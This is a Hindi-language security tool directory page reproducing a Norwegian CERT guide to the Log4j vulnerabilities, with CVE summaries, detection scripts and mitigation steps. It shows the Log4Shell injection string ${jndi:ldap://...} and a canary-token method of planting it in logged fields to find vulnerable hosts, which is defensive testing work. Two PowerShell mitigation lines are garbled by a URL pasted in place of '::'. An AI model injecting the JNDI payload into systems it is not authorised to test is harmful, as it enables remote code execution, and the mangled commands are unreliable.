Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/helsecert/cve-2021-44228
भेद्यता विश्लेषणआपूर्ति श्रृंखला सुरक्षालर्निंग और शिक्षाघटना प्रतिक्रियाचयनित संसाधनलॉग विश्लेषण
GitHubhelsecert/cve-2021-44228

CVE-2021-44228

# Log4j भेद्यताओं के लिए नॉर्वेजियन-भाषा मार्गदर्शिका (CVE-2021-44228, CVE-2021-45046, CVE-2021-45105, CVE-2021-4104, CVE-2019-17571) जिसमें पहचान स्क्रिप्ट, शमन चरण, और प्रभावित सिस्टम की पहचान और सुधार के लिए माइंड मैप शामिल हैं।

रिपॉजिटरी देखें
1124 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4j में कमज़ोरियाँ

अपडेट 19.12.2021: Log4j में लगातार नई कमज़ोरियाँ और उन्हें इस्तेमाल करने के नए तरीके खोजे जा रहे हैं। हमने git रिपॉज़िटरी में तीन फ़्लोचार्ट (mind maps) जोड़े हैं जो क्रमशः Log4j के कमज़ोर संस्करण, कैसे जाँचें कि आप कमज़ोर हैं या नहीं और विभिन्न कमज़ोरियों के शमन का वर्णन करते हैं।

अनुशंसा

Log4j v2.x:

  • उन सॉफ़्टवेयर की पहचान करें जो Log4j संस्करण 2.x का उपयोग करते हैं

  • Log4j की कमज़ोरियों को शमित करें

    • Log4j का उपयोग करने वाले सॉफ़्टवेयर को ऐसे संस्करण में अपडेट करें जो Log4j 2.17.0 का उपयोग करता है

    यदि उपरोक्त संभव न हो

    • सुनिश्चित करें कि CVE-2021-44228 और CVE-2021-45046 के लिए शमन उपाय लागू किए गए हैं, ध्यान दें कि तब आप DoS के प्रति कमज़ोर होंगे
    • यदि सिस्टम विशेष रूप से महत्वपूर्ण हैं, तो Log4j2 के कॉन्फ़िगरेशन के Pattern Layouts में Context Lookups खोजने पर विचार करें

Log4j v1.x:

  • उन सॉफ़्टवेयर की पहचान करें जो Log4j संस्करण 1.x का उपयोग करते हैं।

  • यदि संगठन में Log4j संस्करण 1.x का उपयोग किया जाता है, तो विक्रेता के साथ बातचीत करें और माँग करें कि वे

  • Log4j संस्करण 2.x में अपग्रेड करें
  • या फिर लॉगिंग के लिए किसी अन्य लाइब्रेरी पर स्विच करें

कमज़ोरियाँ

CVE-2021-44228

Log4j की कमज़ोरियों में सबसे बड़ा बुरा भेड़िया। यह कमज़ोरी तब शोषित होती है जब ${jndi:ldap://\<angrepskode>/a} स्ट्रिंग का एक रूप Log4j द्वारा लॉग किया जाता है। CVSS 10.0, RCE।

CVE-2021-45046

CVE-2021-44228 जितनी बड़ी नहीं, लेकिन उतनी ही भयानक। Log4j के गैर-मानक सेटअप की आवश्यकता होती है। CVSS 9.0, RCE और DoS।

CVE-2021-45105

CVE-2021-44228 जितनी बड़ी नहीं, और थोड़ी कम भयानक भी। CVSS 7.5, DoS

CVE-2021-4104

केवल Log4j संस्करण 1.x पर लागू होती है। इसके लिए आवश्यक है कि Log4j JMSAppender का उपयोग करे। CVSS 6.6, RCE शोषण के लिए आवश्यक है कि Log4j JMSAppender का उपयोग करे। या तो JMSAppender सीधे कॉन्फ़िगर किया गया हो - जो असामान्य है - या हमलावर स्वयं इसे Log4j के कॉन्फ़िगरेशन में जोड़ दे। इसके अतिरिक्त, हमलावर के पास JMSAppender के कॉन्फ़िगरेशन को बदलने की पहुँच होनी चाहिए। यदि ऐसा है, तो हमलावर के पास आमतौर पर पहले से ही सिस्टम तक पहुँच होगी। इसलिए इस कमज़ोरी को कम प्रासंगिक माना जाता है।

CVE-2019-17571

केवल Log4j संस्करण 1.x पर लागू होती है। इसके लिए आवश्यक है कि Log4j SocketServer का उपयोग करे। CVSS 9.8, RCE यह संबंधित सॉकेट तक नेटवर्क पहुँच रखने वाले हमलावर को कोड निष्पादन की क्षमता देती है। शोषण कोड सार्वजनिक रूप से उपलब्ध है।

Java 8 के लिए, Log4j v. 2.17.0 नवीनतम संस्करण है। यह उपरोक्त सभी कमज़ोरियों को शमित करता है।

संस्करण 2.16.0 सबसे गंभीर कमज़ोरियों को शमित करता है।

Java7 के लिए, Log4j संस्करण 2.12.2 में जारी किया गया है। यह CVE-2021-45105 को शमित नहीं करता है। Log4j की टीम यह भी कहती है कि न तो Java 6 और न ही Java 7 अब समर्थित है। यह अनिश्चित है कि वे Java7 में Log4j के लिए एक और सुरक्षा अद्यतन जारी करेंगे या नहीं।

फ़्लोचार्ट "Mind map #1" विभिन्न कमज़ोरियों की मौजूदगी की पूर्वापेक्षाओं का अच्छा अवलोकन देता है।
Log4j के प्रति कमज़ोर होने का फ़्लोचार्ट

Loïc Castel द्वारा निर्मित। github से लिया गया।

यह पता लगाना कि क्या आप कमज़ोर हैं

चुनौती का एक हिस्सा यह है कि ज़रूरी नहीं कि केवल वे सर्वर ही कमज़ोर हों जो सीधे इंटरनेट के संपर्क में हैं। कमज़ोरी 'श्रृंखला' में काफी पीछे स्थित ऐसे सर्वर में हो सकती है जो समान डेटा प्राप्त करता है और उसे लॉग करता है। इससे यह जानना चुनौतीपूर्ण हो सकता है कि क्या उजागर है और क्या नहीं।

फ़्लोचार्ट "Mind map #2" यह जाँचने का अच्छा अवलोकन देता है कि अपने सिस्टम में इन कमज़ोरियों की जाँच कैसे करें।

Log4j के कमज़ोर इंस्टेंस खोजने का फ़्लोचार्ट

Loïc Castel द्वारा निर्मित। github से लिया गया।

कमज़ोरी को ट्रिगर करके 1. DNS कैनरी टोकन बनाएँ [https://canarytokens.org/generate#](https://canarytokens.org/generate#)

DNS कैनरी बनाना

  1. यह टेक्स्ट स्ट्रिंग बनाएँ ${jndi:ldap://<kanaritoken>/a}
  2. इस स्ट्रिंग को उन सभी फ़ील्ड्स में दर्ज करें जिन्हें संभावित रूप से लॉग किया जा सकता है

"खोज" कैनरी स्ट्रिंग के साथ

root@kitploit:~
- User-agent
- खोज फ़ील्ड
- उपयोगकर्ता नाम
- ...

4. कैनरी हिट्स की निगरानी करें और पता लगाएँ कि log4j कहाँ चल रहा है।

स्रोत: Florian Roth का ट्वीट

होस्ट पर खोज करके

Windows

यह मैप किए गए नेटवर्क ड्राइव सहित सभी डिस्क को लेता है:

root@kitploit:~
Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

स्रोत: https://twitter.com/0gtweet/status/1469661769547362305

यदि आप केवल स्थानीय डिस्क की जाँच करना चाहते हैं:

root@kitploit:~
Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}

स्रोत: https://twitter.com/webmastir/status/1470386184052486155?s=20

यदि आप इसके अलावा मशीन की इवेंट लॉग की जाँच करना चाहते हैं।

root@kitploit:~
Get-WinEvent -ListLog * |
  foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
  where message -match 'jndi'

Linux #1

root@kitploit:~
#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
        echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0

root के रूप में चलाएँ

Linux #2

root@kitploit:~
lsof | grep log4j-core

कमज़ोरी का शमन

फ़्लोचार्ट "Mind map #3" शमन के विकल्पों का अवलोकन देता है।

Log4j के लिए शमन का फ़्लोचार्ट

Loïc Castel द्वारा निर्मित। github से लिया गया।

नीचे हमने शमन करने के लिए कुछ संसाधन सूचीबद्ध किए हैं।

#1 Patch

Java 8

Log4j को v 2.17.0 में अपडेट करें

Java 7

Log4j को v 2.12.2 में अपडेट करें ध्यान दें यह CVE-2021-45105 को शमित नहीं करता है

#4 शमन #1: वेरिएबल सेट करना

⚠️ इस विधि को अब पूर्ण समाधान नहीं माना जाता है, क्योंकि यह सभी स्थितियों में सभी कमज़ोरियों को शमित नहीं करती।

Windows

root@kitploit:~
[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)

ध्यान दें: पुनरारंभ आवश्यक है

स्रोत: https://twitter.com/CyberRaiju/status/1469505680138661890

JVM फ़्लैग सेट करना

root@kitploit:~
"‐Dlog4j2.formatMsgNoLookups=True"

कमांड लाइन उदाहरण:

root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet

या -Xmx मान के साथ:

root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku

Systemd कॉन्फ़िगरेशन उदाहरण:

root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'

या -Xmx मान के साथ:

root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'

यह एप्लिकेशन के पुनरारंभ पर लोड होता है स्रोत: https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7

#4 शमन #2: Java क्लास हटाना log4j की jar फ़ाइल में JndiLookup.class हटाएँ।

jar फ़ाइल एक संग्रह (zip फ़ाइल) है और इसे खोला जा सकता है। फिर फ़ाइलों को हटाया जा सकता है। यह 7-zip जैसे टूल से मैन्युअल रूप से (चित्र देखें) या स्क्रिप्ट का उपयोग करके किया जा सकता है।

एप्लिकेशन के पुनरारंभ की आवश्यकता है

स्रोत: https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

jndilookup.class हटाना

Windows

root@kitploit:~
[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn   = 'JndiLookup.class' #Denne filen slettes!

$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode   = [IO.Compression.ZipArchiveMode]::Update
$Zip    = New-Object IO.Compression.ZipArchive($stream, $ZipMode)

($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()

Linux

root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

प्रभावित सॉफ़्टवेयर की सूचियाँ

https://github.com/NCSC-NL/log4shell/tree/main/software

https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

https://github.com/cisagov/log4j-affected-db

टूल डाउनलोड करें